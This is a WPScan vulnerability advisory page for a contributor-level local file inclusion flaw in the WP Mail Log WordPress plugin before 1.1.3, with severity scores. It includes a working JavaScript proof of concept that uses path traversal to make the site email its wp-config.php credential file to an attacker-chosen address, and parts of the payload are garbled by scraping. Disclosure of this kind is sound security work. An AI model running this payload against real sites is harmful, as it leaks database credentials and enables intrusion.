Lucene search

K
wpvulndbDc11WPVDB-ID:7C1DFF5B-BED3-49F8-96CC-1BC9ABE78749
HistoryNov 28, 2023 - 12:00 a.m.

WP Mail Log < 1.1.3 – Contributor+ LFI in wml_logs/send_mail endpoint

2023-11-2800:00:00
dc11
wpscan.com
5
wordpress
mail log
local file inclusion

6.4 Medium

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

18.5%

Description The plugin does not properly validate file path parameters when attaching files to emails, leading to local file inclusion, and allowing an attacker to leak the contents of arbitrary files.

PoC

Run the following within any page on the site, ensuring that the id parameter is set to a valid ID for a log entry. Inspect the email that is sent, and see that it contains the site’s wp-config.php file as an attachment. var nonce = await (await fetch(‘/wp-admin/admin-ajax.php?action=rest-nonce’)).text(); await (await fetch(‘/wp-json/wml/v1/wml_logs/send_mail’, {method: ‘POST’, headers: {‘Content-Type’: ‘application/x-www-form-urlencoded’, ‘X-WP-Nonce’: nonce}, body: ‘id=1&to;[email protected]&includeAttachment;={“…/…/wp-config.php”:1}’})).text();

CPENameOperatorVersion
eq1.1.3

6.4 Medium

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

18.5%

Related for WPVDB-ID:7C1DFF5B-BED3-49F8-96CC-1BC9ABE78749